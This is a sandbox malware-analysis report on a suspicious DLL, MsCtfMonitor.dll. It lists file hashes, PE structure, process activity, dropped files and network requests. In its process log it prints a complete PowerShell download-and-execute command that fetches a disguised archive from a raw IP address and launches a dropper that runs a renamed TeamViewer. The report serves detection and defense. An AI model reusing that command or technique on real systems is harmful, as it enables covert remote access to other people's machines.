File name:

MsCtfMonitor.dll

Full analysis: https://app.any.run/tasks/2413d6e6-c1dc-447c-828b-beefe422eed4
Verdict: Suspicious activity
Analysis date: April 21, 2018, 00:27:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
opendir
evasion
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5:

07E862B210C023B15FB7913BBA5F09E2

SHA1:

C375CC334817F749C0BDCABA1F98D4968A1900CD

SHA256:

530BF55032B34C601BA168BE9E5B90668DC9E8D5C746F8FD2623060D215E3B93

SSDEEP:

1536:2GsT04Cm1G7JVbkjm3VBbM4vssJs8V3IWSAK1HLufRF9jh07WPE8a+uhMcxTumRl:2nT0KubpvQMPE8a+uScxTumtJwY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Launcher.exe (PID: 3292)
  • SUSPICIOUS

    • Starts application with an unusual extension

      • Launcher.exe (PID: 3292)
    • Executes PowerShell scripts

      • rundll32.exe (PID: 1864)
  • INFO

    • Application loaded main object executable

      • rundll32.exe (PID: 1864)
    • Dropped object may contain URL's

      • powershell.exe (PID: 2672)
    • Loads the .NET runtime environment

      • powershell.exe (PID: 2672)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 EXE PECompact compressed (generic) (70.7)
.dll | Win32 Dynamic Link Library (generic) (11.2)
.exe | Win32 Executable (generic) (7.6)
.exe | Win16/32 Executable Delphi generic (3.5)
.exe | Generic Win/DOS Executable (3.4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:04:19 23:41:30+02:00
PEType: PE32
LinkerVersion: 2.25
CodeSize: 114688
InitializedDataSize: 26624
UninitializedDataSize: -
EntryPoint: 0x1d53c
OSVersion: 5
ImageVersion: -
SubsystemVersion: 5
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 19-Apr-2018 21:41:30

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0050
Pages in file: 0x0002
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x000F
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x001A
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000100

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 10
Time date stamp: 19-Apr-2018 21:41:30
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_BYTES_REVERSED_HI
  • IMAGE_FILE_BYTES_REVERSED_LO
  • IMAGE_FILE_DLL
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0001B988
0x0001BA00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.27212
.itext
0x0001D000
0x00000588
0x00000600
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
5.70336
.data
0x0001E000
0x00001724
0x00001800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.57262
.bss
0x00020000
0x000058DC
0x00000000
IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
.idata
0x00026000
0x000009E8
0x00000A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.74563
.didata
0x00027000
0x000001C8
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.02188
.edata
0x00028000
0x000002AA
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.05614
.rdata
0x00029000
0x00000045
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
1.18144
.reloc
0x0002A000
0x00002884
0x00002A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
6.43491
.rsrc
0x0002D000
0x00001400
0x00001400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
3.52425

Resources

Title
Entropy
Size
Codepage
Language
Type
4090
3.18737
464
UNKNOWN
UNKNOWN
RT_STRING
4091
3.50315
508
UNKNOWN
UNKNOWN
RT_STRING
4092
3.36848
196
UNKNOWN
UNKNOWN
RT_STRING
4093
3.38569
304
UNKNOWN
UNKNOWN
RT_STRING
4094
3.25466
796
UNKNOWN
UNKNOWN
RT_STRING
4095
3.35521
852
UNKNOWN
UNKNOWN
RT_STRING
4096
3.31066
696
UNKNOWN
UNKNOWN
RT_STRING
DVCLAL
4
16
UNKNOWN
UNKNOWN
RT_RCDATA
PACKAGEINFO
4.87945
248
UNKNOWN
UNKNOWN
RT_RCDATA

Imports

advapi32.dll
kernel32.dll
kernel32.dll (delay-loaded)
mpr.dll
netapi32.dll
oleaut32.dll
user32.dll
version.dll

Exports

Title
Ordinal
Address
dbkFCallWrapperAddr
1
0x00023638
__dbk_fcall_wrapper
2
0x0000B480
CallFormPrincipal
3
0x0001A03C
GetFileVersionInfoSizeA
4
0x0001A0B4
GetFileVersionInfoA
5
0x0001A0A8
VerQueryValueA
6
0x0001A0C0
VerQueryValueW
7
0x0001A09C
GetFileVersionInfoW
9
0x0001A090
GetFileVersionInfoSizeW
10
0x0000BDF4
FilterSendMessage
11
0x0001A084
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
35
Monitored processes
4
Malicious processes
0
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start rundll32.exe no specs powershell.exe launcher.exe no specs staticdata.data no specs

Process information

PID
CMD
Path
Indicators
Parent process
1864"C:\Windows\System32\rundll32.exe" "C:\Users\admin\AppData\Local\Temp\MsCtfMonitor.dll", dbkFCallWrapperAddrC:\Windows\System32\rundll32.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
2532"C:\PC\Staticdata.data"C:\PC\Staticdata.dataLauncher.exe
User:
admin
Company:
TeamViewer GmbH
Integrity Level:
MEDIUM
Description:
TeamViewer 13
Exit code:
0
Version:
13.1.3629.0
Modules
Images
c:\pc\staticdata.data
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\winmm.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2672C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe (New-Object Net.WebClient).DownloadFile('http://140.82.52.174/dk/img3.jpg','C:\PC\EzvwCHan.zip');(new-object -com shell.application).namespace('C:\PC').CopyHere((new-object -com shell.application).namespace('C:\PC\EzvwCHan.zip').Items(),16);Start-Process C:\PC\Launcher.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.10586.117 (th2_release.160212-2359)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3292"C:\PC\Launcher.exe" C:\PC\Launcher.exepowershell.exe
User:
admin
Company:
Ahmed Zaki
Integrity Level:
MEDIUM
Description:
SpecialLauncher
Exit code:
0
Version:
1.0.0.8
Modules
Images
c:\pc\launcher.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\psapi.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
Total events
175
Read events
156
Write events
19
Delete events
0

Modification events

(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
4294901760
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(2672) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:ConsoleTracingMask
Value:
4294901760
Executable files
1
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2672powershell.exeC:\Users\admin\AppData\Local\Temp\vs3vsdif.t5u.ps1
MD5:
SHA256:
2672powershell.exeC:\Users\admin\AppData\Local\Temp\xiavyvi1.kd4.psm1
MD5:
SHA256:
2672powershell.exeC:\PC\Staticdata.data
MD5:
SHA256:
2672powershell.exeC:\PC\EzvwCHan.zipcompressed
MD5:
SHA256:
2672powershell.exeC:\PC\Launcher.exeexecutable
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
200
140.82.52.174:80
http://140.82.52.174/dk/img3.jpg
US
compressed
16.3 Mb
unknown
GET
200
185.194.141.58:80
http://ip-api.com/json/
DE
text
321 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
140.82.52.174:80
US
unknown
185.194.141.58:80
ip-api.com
netcup GmbH
DE
unknown

DNS requests

Domain
IP
Reputation
teredo.ipv6.microsoft.com
whitelisted
ip-api.com
  • 185.194.141.58
malicious

Threats

PID
Process
Class
Message
Potential Corporate Privacy Violation
ET POLICY External IP Lookup ip-api.com
No debug info